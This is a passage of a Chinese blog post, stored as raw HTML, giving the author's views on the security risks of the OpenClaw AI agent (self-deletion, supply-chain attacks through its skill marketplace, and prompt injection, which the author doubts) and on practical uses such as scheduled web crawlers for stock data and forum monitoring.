border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">其实谈论到OpenClaw的安全风险，首先要讨论的说不定应该是OpenClaw本身的安全限制，首先OpenClaw的设计理念和Claude就有差异，O</span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">penClaw的核心是托管，完全无人工参与</span></strong><span leaf="">，那么你给OpenClaw本身做安全风险限制，最后麻烦的只有自己，但</span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">反过来他的风险也同样来自于自己。</span></strong></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">ps：我也遇到过类似的事情，我让他一直改脚本，改着改着他给自己删了重写，变成了一坨。</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;color: rgb(63, 63, 63);"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100000637" data-ratio="0.2462962962962963" title="null" data-type="png" data-w="1080" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;margin: 0.1em auto 0.5em;border-radius: 4px;" src="https://wechat2rss.xlab.app/img-proxy/?k=bc3c4daf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FgIBYXIMwxttiaib7Cq5F6mbjBkTkupicUiaNic9GwibIozIczNmOpMHNRXl8as6QcoiaV7cXLVIl1yGOUhtWnGK717yYgquYHplBFyCH54ibq4iaXwBE%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">提示词注入个人觉得其实算是有点儿无妄之谈了，这个场景几乎不存在，先不说能不能操作微信，谁会把接到IM接到自己的常用微信上，还给了对外的操作权限呢？</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;color: rgb(63, 63, 63);"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100000636" data-ratio="0.7392265193370166" title="null" data-type="png" data-w="905" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;margin: 0.1em auto 0.5em;border-radius: 4px;" src="https://wechat2rss.xlab.app/img-proxy/?k=dcf7d432&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FgIBYXIMwxtudH4DurvSQaS1E1cOA3LY3taoEWRz5Jf27UhmndkRhVQhLCJuJl4BDOgO3lBxFDAqAgDoxEngbzLDnGsLx3jVK7578gfRaFXI%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">一定要说的话，我觉得最早期听说过的一个故事还算相对比较有可能性，Clawdbot最早爆火是自动炒币助手，还会直接把web界面开到公网去，可以通过公网入口对话取得和炒币平台交互的密钥，我不知道是不是真的有这种傻子，但</span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">把OpenClaw装到自己的生产力工具上，我还是觉得第一个要担心的是他把你机器给格了</span></strong><span leaf="">。</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">另一个算是问题比较大的，就是供</span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">应链攻击。</span></strong></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">现在的AI工具已经处于Skill时代了，给ai赋予Skill能力就像教会人学会对应的技能，AI会获得更多的能力去做更多事情，那对应的skill市场当然也就应运而生，OpenClaw官方用的是Clawhub。</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">他最大的特点就是，和其他包管理器一样，用户可以自由上传自己的skill，当然随之而来的供应链攻击就会很多。</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;color: rgb(63, 63, 63);"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100000638" data-ratio="0.4148148148148148" title="null" data-type="png" data-w="1080" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;margin: 0.1em auto 0.5em;border-radius: 4px;" src="https://wechat2rss.xlab.app/img-proxy/?k=7e229012&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FgIBYXIMwxtuVt0KE5LMgFWjUOnMuuX7qZDceE2IpXmdgLjNbic08ZNZpIA8e71icIv6ZPXP5sGByskGCVsn5JO5o2gOZFdy5zMRibbCFBCpUG0%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">感觉有点儿太老生常谈了，随便下skill和以前随便下包是一样的。</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;color: rgb(63, 63, 63);"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100000635" data-ratio="0.30844155844155846" title="null" data-type="png" data-w="924" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;margin: 0.1em auto 0.5em;border-radius: 4px;" src="https://wechat2rss.xlab.app/img-proxy/?k=370c5b7c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FgIBYXIMwxtv3W9Ct4lhFK27lHTElXHGibIbGQhgrB39JjcQYFCeJnkya8qPsVezrLf5UtcC2kS0U2TH7ge9yIlj9iaJfnROpndl0hA9n34ldE%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><h2 style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-size: 16.8px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;display: table;padding: 0px 0.2em;color: rgb(255, 255, 255);background: rgb(15, 76, 129);"><span leaf="">OpenClaw到底有什么用？</span></h2><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">相比OpenClaw的缺点和问题来说，</span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><font style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(237, 116, 12);"><span leaf="">其实OpenClaw到底有什么，到底能做到什么，是一个需要实践探索的问题。</span></font></strong></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">客观来说，有更好的工具珠玉在前，</span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">OpenClaw最大的优势很难撇得开门槛低。</span></strong></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">或者说OpenClaw最大的价值就是，</span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><font style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(237, 116, 12);"><span leaf="">你可以以极低的成本操作服务器来完成任务</span></font></strong><span leaf="">，而这个任务目前来讲最好的实现逃不开爬虫。</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">比如说80%的人都看过的OpenClaw案例，</span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">推荐股票</span></strong></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">说白了就是，</span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">读取股票数据喂给大模型，然后根据你的仓位，固定时间提醒你操作</span></strong><span leaf="">（应该没人真的把自动交易交给OpenClaw吧）。</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">本质就是一个后台运行的爬虫，建立在OpenClaw上完成</span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">这个需求门槛极低</span></strong><span leaf="">，不需要会写代码，会阐述需求即可。</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;color: rgb(63, 63, 63);"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100000643" data-ratio="0.7098560354374308" title="null" data-type="png" data-w="903" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;margin: 0.1em auto 0.5em;border-radius: 4px;" src="https://wechat2rss.xlab.app/img-proxy/?k=7de0b570&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FgIBYXIMwxtuOssvYKDqjHHDNg3sic8FmXvFjQicqj2PT3U5oWlhY4Hf46kICz950PWviay2NA8U2rhtCAEiaoC1NTI8ibjB9fiaD0WZJJkufucNCY%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">我自己用OpenClaw玩了一周多的时间，</span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><font style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(237, 116, 12);"><span leaf="">其中唯一一个稳定运行没出过毛病的也是爬虫</span></font></strong><span leaf="">，帮我监控nga热门帖子推送给我。</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;color: rgb(63, 63, 63);"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100000640" data-ratio="0.4513157894736842" title="null" data-type="png" data-w="760" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;margin: 0.1em auto 0.5em;border-radius: 4px;" src="https://wechat2rss.xlab.app/img-proxy/?k=99a896db&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FgIBYXIMwxtvh2qd0W8AKoZE3Pu9bBuInAiaFbsrxNGFwgfD82sEIm8Bj22JylbtrCXDdn3N2oAAVkul6RCRdtYbBGVjvla5Mf2P8m1mcREyU%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">主要是OpenClaw和系统的crontab联动的很好，定时任务很稳定，操作浏览器访问页面爬取内容，可以靠大模型完全自己实现并持续优化，最后内容还可以让大模型自己再处理一遍。</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">这一套下来最方便的点就是，</span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">如果我遇到什么问题，我可以直接通过IM交互提需求解决，不像自己写爬虫要不停的修复处理反爬等各种问题。</span></strong></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">当然这里我发现有一个非常坑的误区就是，虽然OpenClaw非常方便，不需要你直接写代码，但是客观实际遇到的问题非常之多，这也是</span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">我不看好OpenClaw可以由一个完全不懂技术的人养好的原因之一</span></strong><span leaf="">。</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, 